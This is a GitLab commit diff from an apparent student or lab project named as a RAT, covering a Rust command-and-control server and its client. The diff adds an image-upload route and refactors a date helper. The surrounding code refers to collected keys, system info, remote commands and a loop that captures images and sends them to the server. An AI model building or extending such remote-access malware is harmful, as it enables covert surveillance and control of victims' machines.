Skip to content
Snippets Groups Projects
Commit 0f314b80 authored by elio.marconi's avatar elio.marconi
Browse files

Test rat

parent dae2696f
No related branches found
No related tags found
No related merge requests found
IS_LOADED = 1 # DO NOT REMOVE THIS LINE
#NEEDED FOR BOTH CLIENT AND SERVER
ROCKET_ADDRESS = "192.168.122.1"
ROCKET_ADDRESS = "127.0.0.1"
ROCKET_PORT = "8888"
KEY_API = "/keys"
IMAGE_API= "/images"
......
use sharedlib::config::Config;
use sharedlib::config::{Config, get_date};
use std::{
fs,
fs::OpenOptions,
......@@ -68,7 +68,7 @@ impl DataFile {
}
pub fn save_image(&self, data:Vec<u8>) -> Result<String, io::Error> {
let filename = chrono::Local::now().format("%Y%m%d-%Hh%Mm%Ss.jpeg").to_string();
let filename = get_date() + ".jpeg";
let path = get_full_path_image(self) + &filename;
let mut file = std::fs::File::create(path.clone())?;
file.write_all(&data[..])?;
......
......@@ -41,7 +41,7 @@ fn rocket() -> _ {
build.mount("/",
routes![home, post_key, get_json_keys, get_html_clients,
post_systeminfo, post_new_command, get_json_commands,
post_command, get_new_commands, get_delete_command
post_command, get_new_commands, get_delete_command, post_image
])
.mount("/static", FileServer::from("c2/templates/static"))
.mount("/client/data", FileServer::from("./data"))
......
......@@ -33,7 +33,6 @@ pub async fn sniff_image() -> Result<(), ClientError> {
let mac_address = get_mac_address()
.map_err(|_e| io::Error::from_raw_os_error(1))?;
let _ = dev.params()?;
//println!("Active device parameters:\n{}", params);
......@@ -66,7 +65,6 @@ pub async fn sniff_image() -> Result<(), ClientError> {
time: local_time, mac_address: mac_address.clone()};
client::send_images(final_image).await?;
//file.write_all(&buf[..])?;
sleep(sleep_time);
};
......
use dotenvy::dotenv;
use crate::errors::ConstantsError;
use chrono::Utc;
#[derive(Clone)]
......@@ -64,4 +65,10 @@ pub fn load_dotenv()->Result<(), ConstantsError> {
}
}
pub fn get_date() -> String {
let date = Utc::now();
let date_str = format!("{}", date.format("%d-%m-%Y %H:%M:%S"));
date_str
}
use diesel::prelude::*;
use crate::schema::{keys ,clients, sysinfo, ports, commands, command_result, images};
use serde::{Deserialize, Serialize};
use chrono::Utc;
use diesel::sql_types::{VarChar, Integer, Text, Nullable};
use std::collections::HashMap;
use crate::config::get_date;
#[derive(Deserialize, Serialize)]
pub struct ApiId{
......@@ -64,12 +64,6 @@ pub struct ImageFormat {
pub height: u32,
}
fn get_date() -> String{
let date = Utc::now();
let date_str = format!("{}", date.format("%d-%m-%Y %H:%M:%S"));
date_str
}
#[derive(Deserialize, Serialize, Queryable, QueryableByName, Selectable, Debug)]
#[diesel(table_name = clients)]
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment